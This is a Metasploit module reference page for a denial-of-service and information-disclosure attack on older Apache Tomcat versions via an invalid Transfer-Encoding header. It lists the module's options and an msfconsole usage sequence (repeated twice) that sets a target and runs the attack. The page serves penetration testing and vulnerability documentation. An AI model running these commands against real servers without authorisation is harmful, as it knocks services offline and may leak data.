Apache Tomcat Transfer-Encoding Information Disclosure and DoS
Apache Tomcat 5.5.0 through 5.5.29, 6.0.0 through 6.0.27, and 7.0.0 beta does not properly handle an invalid Transfer-Encoding header, which allows remote attackers to cause a denial of service (application outage) or obtain sensitive information via a crafted header that interferes with "recycling of a buffer."
Rank
- Normal
Authors
- Steve Jones < >
- Hoagie < andi [at] void {dot} at >
- Paulino Calderon < calderon [at] websec {dot} mx >
Vulnerability References
Development
Similar Modules
- auxiliary/dos/http/3com_superstack_switch
- auxiliary/dos/http/apache_mod_isapi
- auxiliary/dos/http/apache_range_dos
- auxiliary/dos/http/dell_openmanage_post
- auxiliary/dos/http/sonicwall_ssl_format
- auxiliary/dos/http/webrick_regex
Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use auxiliary/dos/http/apache_tomcat_transfer_encoding
msf auxiliary(apache_tomcat_transfer_encoding) > set RHOST [TARGET IP]
msf auxiliary(apache_tomcat_transfer_encoding) > run
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use auxiliary/dos/http/apache_tomcat_transfer_encoding
msf auxiliary(apache_tomcat_transfer_encoding) > set RHOST [TARGET IP]
msf auxiliary(apache_tomcat_transfer_encoding) > run
Module Options
| RHOST | The target address |
| RLIMIT | Number of requests to send (default: 25) |
| RPORT | The target port (default: 8000) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
